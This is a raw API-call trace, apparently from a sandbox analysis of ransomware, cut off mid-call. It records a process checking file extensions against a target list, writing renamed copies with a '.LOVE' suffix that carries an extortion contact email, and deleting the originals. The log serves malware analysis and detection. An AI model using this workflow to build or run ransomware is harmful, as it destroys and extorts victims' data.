[0195.141] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.141] lstrlenW (lpString=".zip") returned 4 [0195.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.141] lstrlenW (lpString=".rar") returned 4 [0195.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.141] lstrlenW (lpString=".bz2") returned 4 [0195.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.141] lstrlenW (lpString=".7z") returned 3 [0195.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.141] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.141] lstrlenW (lpString=".dbf") returned 4 [0195.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.142] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.142] lstrlenW (lpString=".1cd") returned 4 [0195.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.142] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.142] lstrlenW (lpString=".jpg") returned 4 [0195.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.142] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.142] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.142] lstrlenW (lpString=".doc") returned 4 [0195.142] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.142] lstrlenW (lpString=".docx") returned 5 [0195.142] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0195.142] lstrlenW (lpString=".pdf") returned 4 [0195.142] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.142] lstrlenW (lpString=".xls") returned 4 [0195.142] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.142] lstrlenW (lpString=".xlsx") returned 5 [0195.142] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0195.142] lstrlenW (lpString=".ppt") returned 4 [0195.142] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.142] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.142] lstrlenW (lpString=".zip") returned 4 [0195.142] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.142] lstrlenW (lpString=".rar") returned 4 [0195.142] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.142] lstrlenW (lpString=".bz2") returned 4 [0195.142] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.142] lstrlenW (lpString=".7z") returned 3 [0195.142] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.143] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.143] lstrlenW (lpString=".dbf") returned 4 [0195.143] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.143] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.143] lstrlenW (lpString=".1cd") returned 4 [0195.143] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.143] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0195.143] lstrlenW (lpString=".jpg") returned 4 [0195.143] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.143] lstrcmpiW (lpString1=".MARKER", lpString2=".LOVE") returned 1 [0195.143] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0195.143] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.490] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=0) returned 1 [0195.490] CloseHandle (hObject=0x300) returned 1 [0195.490] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.490] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.490] lstrlenW (lpString=".doc") returned 4 [0195.490] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0195.490] lstrlenW (lpString=".docx") returned 5 [0195.490] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0195.490] lstrlenW (lpString=".pdf") returned 4 [0195.490] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0195.490] lstrlenW (lpString=".xls") returned 4 [0195.490] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0195.490] lstrlenW (lpString=".xlsx") returned 5 [0195.490] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0195.490] lstrlenW (lpString=".ppt") returned 4 [0195.490] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0195.490] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.490] lstrlenW (lpString=".zip") returned 4 [0195.490] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0195.490] lstrlenW (lpString=".rar") returned 4 [0195.491] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString=".bz2") returned 4 [0195.491] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString=".7z") returned 3 [0195.491] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0195.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.491] lstrlenW (lpString=".dbf") returned 4 [0195.491] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.491] lstrlenW (lpString=".1cd") returned 4 [0195.491] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.491] lstrlenW (lpString=".jpg") returned 4 [0195.491] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.491] lstrlenW (lpString=".doc") returned 4 [0195.491] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString=".docx") returned 5 [0195.491] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0195.491] lstrlenW (lpString=".pdf") returned 4 [0195.491] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString=".xls") returned 4 [0195.491] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString=".xlsx") returned 5 [0195.491] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0195.491] lstrlenW (lpString=".ppt") returned 4 [0195.491] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0195.491] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.492] lstrlenW (lpString=".zip") returned 4 [0195.492] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0195.492] lstrlenW (lpString=".rar") returned 4 [0195.492] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0195.492] lstrlenW (lpString=".bz2") returned 4 [0195.492] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0195.492] lstrlenW (lpString=".7z") returned 3 [0195.492] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0195.492] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.492] lstrlenW (lpString=".dbf") returned 4 [0195.492] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0195.492] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.492] lstrlenW (lpString=".1cd") returned 4 [0195.492] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0195.492] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0195.492] lstrlenW (lpString=".jpg") returned 4 [0195.492] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0195.492] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.492] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.492] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=19288) returned 1 [0195.493] CloseHandle (hObject=0x300) returned 1 [0195.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0195.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.493] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.493] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0195.495] GetLastError () returned 0x0 [0195.495] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0195.532] WriteFile (in: hFile=0x304, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0195.533] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.533] WriteFile (in: hFile=0x304, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.534] SetEndOfFile (hFile=0x304) returned 1 [0195.534] CloseHandle (hObject=0x304) returned 1 [0195.534] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.535] SetEndOfFile (hFile=0x300) returned 1 [0195.536] CloseHandle (hObject=0x300) returned 1 [0195.536] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.536] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0195.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.536] lstrlenW (lpString=".doc") returned 4 [0195.536] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.536] lstrlenW (lpString=".docx") returned 5 [0195.536] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.536] lstrlenW (lpString=".pdf") returned 4 [0195.536] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.536] lstrlenW (lpString=".xls") returned 4 [0195.537] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.537] lstrlenW (lpString=".xlsx") returned 5 [0195.537] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.537] lstrlenW (lpString=".ppt") returned 4 [0195.537] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.537] lstrlenW (lpString=".zip") returned 4 [0195.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.537] lstrlenW (lpString=".rar") returned 4 [0195.537] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.537] lstrlenW (lpString=".bz2") returned 4 [0195.537] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.537] lstrlenW (lpString=".7z") returned 3 [0195.537] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.537] lstrlenW (lpString=".dbf") returned 4 [0195.537] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.537] lstrlenW (lpString=".1cd") returned 4 [0195.537] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.537] lstrlenW (lpString=".jpg") returned 4 [0195.537] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.537] lstrlenW (lpString=".doc") returned 4 [0195.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.537] lstrlenW (lpString=".docx") returned 5 [0195.538] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.538] lstrlenW (lpString=".pdf") returned 4 [0195.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.538] lstrlenW (lpString=".xls") returned 4 [0195.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.538] lstrlenW (lpString=".xlsx") returned 5 [0195.538] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.538] lstrlenW (lpString=".ppt") returned 4 [0195.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.538] lstrlenW (lpString=".zip") returned 4 [0195.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.538] lstrlenW (lpString=".rar") returned 4 [0195.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.538] lstrlenW (lpString=".bz2") returned 4 [0195.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.538] lstrlenW (lpString=".7z") returned 3 [0195.538] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.538] lstrlenW (lpString=".dbf") returned 4 [0195.538] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.538] lstrlenW (lpString=".1cd") returned 4 [0195.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0195.539] lstrlenW (lpString=".jpg") returned 4 [0195.539] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.539] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.539] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.539] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=17240) returned 1 [0195.539] CloseHandle (hObject=0x300) returned 1 [0195.539] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0195.539] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.540] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.540] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.540] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0195.551] GetLastError () returned 0x0 [0195.551] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x4358, lpOverlapped=0x0) returned 1 [0195.583] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x4360, lpOverlapped=0x0) returned 1 [0195.584] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.584] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.584] SetEndOfFile (hFile=0x2f4) returned 1 [0195.584] CloseHandle (hObject=0x2f4) returned 1 [0195.585] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.585] SetEndOfFile (hFile=0x300) returned 1 [0195.585] CloseHandle (hObject=0x300) returned 1 [0195.585] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.585] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0195.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.586] lstrlenW (lpString=".doc") returned 4 [0195.586] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.586] lstrlenW (lpString=".docx") returned 5 [0195.586] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.586] lstrlenW (lpString=".pdf") returned 4 [0195.586] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.586] lstrlenW (lpString=".xls") returned 4 [0195.586] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.586] lstrlenW (lpString=".xlsx") returned 5 [0195.586] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.586] lstrlenW (lpString=".ppt") returned 4 [0195.586] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.586] lstrlenW (lpString=".zip") returned 4 [0195.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.586] lstrlenW (lpString=".rar") returned 4 [0195.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.586] lstrlenW (lpString=".bz2") returned 4 [0195.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.586] lstrlenW (lpString=".7z") returned 3 [0195.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.586] lstrlenW (lpString=".dbf") returned 4 [0195.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.586] lstrlenW (lpString=".1cd") returned 4 [0195.586] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.586] lstrlenW (lpString=".jpg") returned 4 [0195.586] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.587] lstrlenW (lpString=".doc") returned 4 [0195.587] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.587] lstrlenW (lpString=".docx") returned 5 [0195.587] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.587] lstrlenW (lpString=".pdf") returned 4 [0195.587] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.587] lstrlenW (lpString=".xls") returned 4 [0195.587] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.587] lstrlenW (lpString=".xlsx") returned 5 [0195.587] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.587] lstrlenW (lpString=".ppt") returned 4 [0195.587] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.587] lstrlenW (lpString=".zip") returned 4 [0195.587] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.587] lstrlenW (lpString=".rar") returned 4 [0195.587] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.587] lstrlenW (lpString=".bz2") returned 4 [0195.587] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.587] lstrlenW (lpString=".7z") returned 3 [0195.587] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.587] lstrlenW (lpString=".dbf") returned 4 [0195.587] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.587] lstrlenW (lpString=".1cd") returned 4 [0195.587] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0195.587] lstrlenW (lpString=".jpg") returned 4 [0195.587] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.587] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.588] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.588] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.591] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=18776) returned 1 [0195.591] CloseHandle (hObject=0x2c4) returned 1 [0195.591] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0195.591] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.591] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.591] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.591] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.592] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.614] GetLastError () returned 0x0 [0195.614] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x4958, lpOverlapped=0x0) returned 1 [0195.649] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x4960, lpOverlapped=0x0) returned 1 [0195.651] ReadFile (in: hFile=0x2c4, 